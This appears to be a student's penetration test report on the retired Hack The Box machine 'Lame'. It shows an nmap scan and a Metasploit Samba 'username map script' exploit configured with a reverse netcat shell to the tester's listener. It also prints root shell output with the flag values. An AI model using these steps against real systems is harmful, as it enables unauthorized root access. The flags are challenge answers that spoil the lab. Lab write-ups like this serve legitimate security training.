DigitalDemo

Penetration Test Report

Rayshell Green

03/20/2024

Project: Hack The Box - Machine – Lame

Email: rayshell.green@mycampus.apus.edu

DigitalDemo

Lame is the first ever box on Hack the Box that was released in March 2017 for new users and later retired in May 2017. As a beginner level machine, it takes one exploit to obtain root access.

Service Enumeration

We began by scanning the machine's IP address using NMAP. Nmap ("Network Mapper") is a utility for network discovery and security auditing. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services those hosts are offering, and dozens of other characteristics. https://nmap.org/

This information is valuable for an attacker because it gives detailed insights into potential ways to infiltrate a system. Knowing which applications are active on the system provides the attacker with crucial information before conducting an actual penetration test. However, it's important to note that in some cases, certain ports may not be included in the listing.

```
┌──(rayshell㉿digitaldemo)-[~]
└─$ sudo nmap -p- -sV -T4 10.129.222.44
sudo: unable to resolve host digitaldemo: Name or service not known
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 09:26 EDT
Nmap scan report for 10.129.222.44
Host is up (0.048s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.14 seconds
```

Figure 1: NMAP Scan

DigitalDemo

Server IP Address	Ports Open
10.129.222.44	21, 22, 139, 445, 3632

Exploitation

Vulnerability: User Map Scripting

Samba has a Metasploit exploitation using user map scripting. The Metasploit Framework was created by HD Moore in 2003 as a tool for developing and executing exploits. The project maintains over 2074 exploits and various payloads auxiliary modules, and post exploitation tools to aid in penetration testing. When using Metasploit, we can search for an exploit that works with Samba version 3.2. In this case, it's called user map scripting.

```
┌──(rayshell㉿digitaldemo)-[~]
└─$ msfconsole -q
msf6 > search samba

Matching Modules
================

   #   Name                                                Disclosure Date
Rank       Check  Description
   -   ----                                                ---------------
----       -----  -----------
   0   exploit/unix/webapp/citrix_access_gateway_exec      2010-12-21
excellent  Yes    Citrix Access Gateway Command Execution
   1   exploit/windows/license/calicclnt_getconfig         2005-03-02
average    No     Computer Associates License Client GETCONFIG Overflow
   2   exploit/unix/misc/distcc_exec                       2002-02-01
excellent  Yes    DistCC Daemon Command Execution
   3   exploit/windows/smb/group_policy_startup            2015-01-26
manual     No     Group Policy Script Execution From Shared Resource
   4   post/linux/gather/enum_configs
normal     No     Linux Gather Configurations
   5   auxiliary/scanner/rsync/modules_list
normal     No     List Rsync Modules
   6   exploit/windows/fileformat/ms14_060_sandworm        2014-10-14
excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Executi
on
   7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31
excellent  Yes    Quest KACE Systems Management Command Injection
   8   exploit/multi/samba/usermap_script                  2007-05-14
excellent  No     Samba "username map script" Command Execution
   9   exploit/multi/samba/nttrans                         2003-04-07
average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
```

Figure 2: Metasploit Search Results

```
Description:
  This module exploits a command execution vulnerability in Samba
  versions 3.0.20 through 3.0.25rc3 when using the non-default
  "username map script" configuration option. By specifying a username
  containing shell meta characters, attackers can execute arbitrary
  commands.

  No authentication is needed to exploit this vulnerability since
  this option is used to map usernames prior to authentication!
```

Figure 3: Description of Samba Exploit

Now that the exploit for Samba is selected, we need to confirm our connection to the RHOST, the target machine, to retrieve information located on our targets machine.

```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.129.222.44    yes       The target host(s), see https://docs.
                                      metasploit.com/docs/using-metasploit/
                                      basics/using-metasploit.html
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.191     yes       The listen address (an interface may b
                                     e specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Figure 4: Metasploit Options for target and listening host.

Success

We gained access to the machine. At this point we search through the files on the machine as a root user finds the user and root flags. The root flag was in the root folder while the user flag was in the home/makis folder.

```
whoami
root

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:50:56:b0:8e:3d
          inet addr:10.129.222.44  Bcast:10.129.255.255  Mask:255.255.0.0
          inet6 addr: dead:beef::250:56ff:feb0:8e3d/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb0:8e3d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:338288 errors:0 dropped:0 overruns:0 frame:0
          TX packets:586 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:20421050 (19.4 MB)  TX bytes:57511 (56.1 KB)
          Interrupt:19 Base address:0×2024

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:484 errors:0 dropped:0 overruns:0 frame:0
          TX packets:484 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:214461 (209.4 KB)  TX bytes:214461 (209.4 KB)

cd root
cat root.txt
b05c8d837658e8b776e814c4d9cf16d0

cd ../home/makis
cat user.txt
114ffdd1acaabf08d21a3bca649f365a
```

Figure 5: Dumping User Access and Flag information.

After Action Report

The team's objective was to access a specific computer and obtain sensitive information, known as user and root flags. This was accomplished through exploiting vulnerabilities in Samba using Metasploit user map scripting feature.

Initially, we conducted a vulnerability scan on the target's IP address to identify weakness. Subsequently, we leveraged Metasploit to exploit a vulnerability in Samaba and gain unauthorized access to the target system. Once inside, we successfully retrieved the sensitive information we were seeking, represented by a 'flag' located on the target.

As root users on the compromised machine, we demonstrated the capability to exfiltrate data, such as the flag, as an illustration of accessing sensitive information. To mitigate this vulnerability, it is recommended to update Samba to version 4.1 or newer, as these versions contain a patch that addresses the exploit used.